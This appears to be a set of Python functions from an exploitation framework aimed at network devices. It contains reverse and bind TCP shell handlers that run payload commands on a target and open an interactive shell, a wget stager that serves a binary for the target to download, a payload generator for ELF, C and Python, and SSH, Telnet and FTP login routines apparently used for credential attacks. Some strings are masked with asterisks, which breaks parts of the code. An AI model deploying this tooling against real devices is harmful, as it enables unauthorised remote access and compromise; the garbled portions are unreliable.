def reverse_tcp(self): all_interfaces = "0.0.0.0" sock = self.listen(all_interfaces, self.options["lport"]) if self.port_used: print_error("Could not set up listener on {}:{}".format( all_interfaces, self.options["lport"])) return # execute binary commands = self.build_commands() print_status("Executing payload on the device") # synchronized commands for command in commands[:-1]: self.exploit.execute(command) # asynchronous last command to execute binary & rm binary thread = threading.Thread(target=self.exploit.execute, args=(commands[-1], )) thread.start() # waiting for shell print_status("Waiting for reverse shell...") client, addr = sock.accept() sock.close() print_status("Connection from {}:{}".format(addr[0], addr[1])) print_success("Enjoy your shell") t = telnetlib.Telnet() t.sock = client t.interact()
def bind_tcp(self): # execute binary commands = self.build_commands() # synchronized commands for command in commands[:-1]: self.exploit.execute(command) # asynchronous last command to execute binary & rm binary thread = threading.Thread(target=self.exploit.execute, args=(commands[-1], )) thread.start() # connecting to shell print_status("Connecting to {}:{}".format(self.options['rhost'], self.options['rport'])) time.sleep(2) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((self.options["rhost"], int(self.options["rport"]))) except socket.error: print_error("Could not connect to {}:{}".format( self.options["rhost"], self.options["rport"])) return print_success("Enjoy your shell") tn = telnetlib.Telnet() tn.sock = sock tn.interact()
def wget(self): print_status("Using wget method") self.binary_name = random_text(8) if "binary" in self.wget_options.keys(): binary = self.wget_options['binary'] else: binary = "wget" # run http server all_interfaces = "0.0.0.0" try: server = HTTPServerWrapper( (all_interfaces, int(self.options["lport"])), HttpRequestHandler) except socket.error: print_error("Could not set up HTTP Server on {}:{}".format( self.options["lhost"], self.options["lport"])) return False thread = threading.Thread(target=server.serve_forever, args=(self.payload, )) thread.start() # wget binary print_status("Using wget to download binary") cmd = "{} http://{}:{}/{} -qO {}/{}".format( binary, self.options["lhost"], self.options["lport"], self.binary_name, self.location, self.binary_name) self.exploit.execute(cmd) thread.join(10) if thread.is_alive(): assassin = threading.Thread(target=server.shutdown) assassin.daemon = True assassin.start() return False return True
def http_request(self, method: str, path: str, session: requests=requests, **kwargs) -> requests.Response: """ Requests HTTP resource :param str method: method that should be issued e.g. GET, POST :param str path: path to the resource that should be requested :param requests session: session manager that should be used :param kwargs: kwargs passed to request method :return Response: Response object """ if self.ssl: url = "https://" else: url = "http://" url += "{}:{}{}".format(self.target, self.port, path) kwargs.setdefault("timeout", HTTP_TIMEOUT) kwargs.setdefault("verify", False) kwargs.setdefault("allow_redirects", False) try: return getattr(session, method.lower())(url, **kwargs) except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema): print_error("Invalid URL format: {}".format(url), verbose=self.verbosity) except requests.exceptions.ConnectionError: print_error("Connection error: {}".format(url), verbose=self.verbosity) except requests.RequestException as error_code: print_error(error_code, verbose=self.verbosity) except socket.error as error_code: print_error(error_code, verbose=self.verbosity) except KeyboardInterrupt: print_error("Module has been stopped", verbose=self.verbosity) return None
def run(self): print_status("Generating payload") try: data = self.generate() except OptionValidationError as error_code: print_error(error_code) return if self.output == "elf" or self.output == "ELF": with open(self.file_path, "wb+") as f: print_status("Building ELF payload") content = self.generate_elf(data) print_success("Saving file: {}".format(self.file_path)) f.write(content) elif self.output == "c" or self.output == "C": print_status("Building payload for C") content = self.generate_c(data) print_info(content) elif self.output == "python" or self.output == "Python": print_status("Building payload for Python") content = self.generate_python(data) print_info(content) else: raise OptionValidationError("No such option as {}".format( self.output)) return content
def close(self) -> bool: """ Close connection to TCP server :return bool: True if closing connection was successful, False otherwise """ try: self.tcp_client.close() return True except Exception as error_code: print_error(self.peer, "TCP Error while closing tcp socket", error_code, verbose=self.verbosity) return False
def close(self) -> bool: """ Close SSH connection :return bool: True if closing connection was successful, False otherwise """ try: self.ssh_client.close() return True except Exception as error_code: print_error(self.peer, "SSH Error while closing connection", error_code, verbose=self.verbosity) return False
def close(self) -> bool: """ Close UDP connection :return bool: True if connection was closed successful, False otherwise """ try: self.udp_client.close() return True except Exception as err: print_error(self.peer, "Error while closing udp socket", err, verbose=self.verbosity) return False
def get_content(self, remote: str) -> str: try: fp_content = io.BytesIO() sftp = self.ssh_client.open_sftp() sftp.getfo(remote, fp_content) return fp_content.getvalue() except Exception as error_code: print_error( self.peer, "SSH Error while retrieving file content from the server", error_code, verbose=self.verbosity) return None
def receive(self, num: int) -> bytes: """ Receive UDP data :param int num: number of bytes that should received from the server :return bytes: bytes received from the server """ try: response = self.udp_client.recv(num) return response except Exception as err: print_error(self.peer, "Error while receiving data", err, verbose=self.verbosity) return None
def send(self, data: bytes) -> bool: """ Send UDP data :param bytes data: data that should be sent to the server :return bool: True if data was sent, False otherwise """ try: self.udp_client.sendto(data, (self.udp_target, self.udp_port)) return True except Exception as err: print_error(self.peer, "Error while sending data", err, verbose=self.verbosity) return False
def receive(self, num: int) -> bytes: """ Receive data from TCP server :param int num: number of bytes that should be received from the server :return bytes: data that was received from the server """ try: response = self.tcp_client.recv(num) return response except Exception as error_code: print_error(self.peer, "TCP Error while receiving data", error_code, verbose=self.verbosity) return None
def read_until(self, data: bytes) -> bytes: """ Read until specified data found in response :param bytes data: bytes until which data should be read :return bytes: bytes read until data """ try: response = self.telnet_client.read_until(data, 5) return response except Exception as error_code: print_error(self.peer, "Telnet Error while reading data from the server", error_code, verbose=self.verbosity) return None
def send(self, data: bytes) -> bool: """ Send data to TCP server :param bytes data: data that should be sent to TCP server :return bool: True if sending data was successful, False otherwise """ try: self.tcp_client.send(data) return True except Exception as error_code: print_error(self.peer, "TCP Error while sending data", error_code, verbose=self.verbosity) return False
def write(self, data: bytes) -> bool: """ Write data to Telnet server :param bytes data: data that should be written to Telnet server :return bool: True if data was written successfully, False otherwise """ try: self.telnet_client.write(data, 5) return True except Exception as error_code: print_error(self.peer, "Telnet Error while writing to the server", error_code, verbose=self.verbosity) return False
def connect(self) -> bool: """ Connect to Telnet server :return bool: True if connection was successful, False otherwise """ try: self.telnet_client = telnetlib.Telnet(self.telnet_target, self.telnet_port, timeout=TELNET_TIMEOUT) return True except Exception as error_code: print_error(self.peer, "Telnet Error while connecting to the server", error_code, verbose=self.verbosity) return False
def execute(self, cmd: str) -> str: """ Execute command on SSH server :param str cmd: command to execute on SSH server :return str: command output """ try: ssh_stdin, ssh_stdout, ssh_stderr = self.ssh_client.exec_command( cmd) return ssh_stdout.read() except Exception as err: print_error(self.peer, "SSH Error while executing command on the server", err, verbose=self.verbosity) return None
def login_private_key(self, username: str, private_key: str, retries: int = 1) -> bool: """ Login to SSH server with private key :param str username: SSH account username :param str private_key: SSH account private key :param int retries: number of login retries :return bool: True if login was successful, False otherwise """ if "DSA PRIVATE KEY" in private_key: private_key = paramiko.DSSKey.from_private_key( io.StringIO(private_key)) elif "RSA PRIVATE KEY" in private_key: private_key = paramiko.RSAKey.from_private_key( io.StringIO(private_key)) else: return False for _ in range(retries): try: self.ssh_client.connect(self.ssh_target, self.ssh_port, timeout=SSH_TIMEOUT, banner_timeout=SSH_TIMEOUT, username=username, pkey=private_key, look_for_keys=False) except paramiko.AuthenticationException: print_error( self.peer, "SSH Authentication Failed - Username: '******' auth with private key" .format(username), verbose=self.verbosity) except Exception as err: print_error( self.peer, "SSH Error while authenticated by using private key", err, verbose=self.verbosity) else: print_success( self.peer, "SSH Authentication Successful - Username: '******' with private key" .format(username), verbose=self.verbosity) return True self.ssh_client.close() return False
def connect(self) -> bool: """ Connect to TCP server :return bool: True if connection was successful, False otherwise """ try: self.tcp_client.connect((self.tcp_target, self.tcp_port)) print_status(self.peer, "TCP Connection established", verbose=self.verbosity) return True except Exception as error_code: print_error(self.peer, "TCP Error while connecting to the server", error_code, verbose=self.verbosity) return False
def get_content(self, remote_file: str) -> str: """ Get remote file from FTP server :param str remote_file: remote file name :return str: remote file content """ try: content = io.BytesIO() self.ftp_client.retrbinary("RET: {}".format(remote_file), content.write) return content.getvalue() except Exception as error_code: print_error(self.peer, "FTP Error while retrieving content", error_code, verbose=self.verbosity) return None
def send_file(self, local: str, remote: str) -> bool: """ Send file to SSH server :param str local: local file that should be send to SSH server :param str remote: destination file that content should be saved to :return bool: True if sending file was successful, False otherwise """ try: sftp = self.ssh_client.open_sftp() sftp.put(local, remote) return True except Exception as error_code: print_error(self.peer, "SSH Error while sending file to the server", error_code, verbose=self.verbosity) return False
def get_file(self, remote: str, local: str) -> bool: """ Get file from SSH server :param str remote: remote file on SSH server :param str local: local file that it should be saved to :return bool: True if getting file was successful, False otherwise """ try: sftp = self.ssh_client.open_sftp() sftp.get(remote, local) return True except Exception as error_code: print_error(self.peer, "SSH Error while retrieving file from the server", error_code, verbose=self.verbosity) return False
def send_content(self, content: str, remote: str) -> bool: """ Send file content to SSH server :param str content: data that should be sent to SSH file :param str remote: destination file that data should be saved to :return bool: True if sending file content was successful, False otherwise """ try: fp_content = io.BytesIO(content) sftp = self.ssh_client.open_sftp() sftp.putfo(fp_content, remote) return True except Exception as err: print_error(self.peer, "SSH Error while sending content to the server", err, verbose=self.verbosity) return False
def test_connect(self) -> bool: """ Test connection to Telnet server :return bool: True if test connection was successful, False otherwise """ try: self.telnet_client = telnetlib.Telnet(self.telnet_target, self.telnet_port, timeout=TELNET_TIMEOUT) self.telnet_client.expect( [b"Login: "******"login: "******"Username: "******"username: "******"Telnet Error while testing connection to the server", error_code, verbose=self.verbosity) return False
def connect(self, retries: int = 1) -> bool: """ Connect to FTP server :param int retries: number of retry attempts :return bool: True if connection was successful, False otherwise """ for _ in range(retries): try: self.ftp_client.connect(self.ftp_target, self.ftp_port, timeout=FTP_TIMEOUT) return True except Exception as error_code: print_error(self.peer, "FTP Error while connecting to the server", error_code, verbose=self.verbosity) self.ftp_client.close() return False
def login(self, username: str, password: str, retries: int = 1) -> bool: """ Login to Telnet server :param str username: Telnet account username :param str password: Telnet account password :param int retries: number of authentication retries :return bool: True if login was successful, False otherwise """ for _ in range(retries): try: if not self.connect(): continue self.telnet_client.expect( [b"Login: "******"login: "******"Username: "******"username: "******"utf-8") + b"\r\n") self.telnet_client.expect([b"Password: "******"password: "******"utf-8") + b"\r\n") self.telnet_client.write(b"\r\n") (i, obj, res) = self.telnet_client.expect([b"Incorrect", b"incorrect"], 5) if i == -1 and any([ x in res for x in [b"#", b"$", b">"] ]) or len(res) > 500: # big banner e.g. mikrotik print_success( self.peer, "Telnet Authentication Successful - Username: '******' Password: '******'" .format(username, password), verbose=self.verbosity) return True else: print_error( self.peer, "Telnet Authentication Failed - Username: '******' Password: '******'" .format(username, password), verbose=self.verbosity) break except Exception as error_code: print_error(self.peer, "Telnet Error while authenticating to the server", error_code, verbose=self.verbosity) return False
def test_connect(self) -> bool: """ Test connection to SSH server :return bool: True if test connection was successful, False otherwise """ try: self.ssh_client.connect(self.ssh_target, self.ssh_port, timeout=SSH_TIMEOUT, username="******", password=random_text(12), look_for_keys=False) except paramiko.AuthenticationException: self.ssh_client.close() return True except Exception as error_code: print_error(self.peer, "SSH Error while testing connection", error_code, verbose=self.verbosity) self.ssh_client.close() return False
def receive_all(self, num: int) -> bytes: """ Receive all data sent by the server :param int num: number of total bytes that should be received :return bytes: data that was received from the server """ try: response = b"" received = 0 while received < num: tmp = self.tcp_client.recv(num - received) if tmp: received += len(tmp) response += tmp else: break return response except Exception as error_code: print_error(self.peer, "TCP Error while receiving all data", error_code, verbose=self.verbosity) return None
def login(self, username: str, password: str, retries: int = 1) -> bool: """ Login to SSH server :param str username: SSH account username :param str password: SSH account password :param int retries: number of login retries :return bool: True if login was successful, False otherwise """ for _ in range(retries): try: self.ssh_client.connect(self.ssh_target, self.ssh_port, timeout=SSH_TIMEOUT, banner_timeout=SSH_TIMEOUT, username=username, password=password, look_for_keys=False) except paramiko.AuthenticationException: print_error( self.peer, "SSH Authentication Failed - Username: '******' Password: '******'" .format(username, password), verbose=self.verbosity) self.ssh_client.close() break except Exception as err: print_error(self.peer, "SSH Error while authenticating", err, verbose=self.verbosity) else: print_success( self.peer, "SSH Authentication Successful - Username: '******' Password: '******'" .format(username, password), verbose=self.verbosity) return True self.ssh_client.close() return False
def login(self, username: str, password: str) -> bool: """ Login to FTP server :param str username: FTP account username :param str password: FTP account password :return bool: True if login was successful, False otherwise """ try: self.ftp_client.login(user=username, passwd=password) print_success( self.peer, "FTP Authentication Successful, Username: {}, Password: {}". format(username, password), verbose=self.verbosity) return True except Exception as error_code: print_error( self.peer, "FTP Authentication Failed, Username: {}, Password: {}".format( username, password), error_code, verbose=self.verbosity) self.ftp_client.close() return False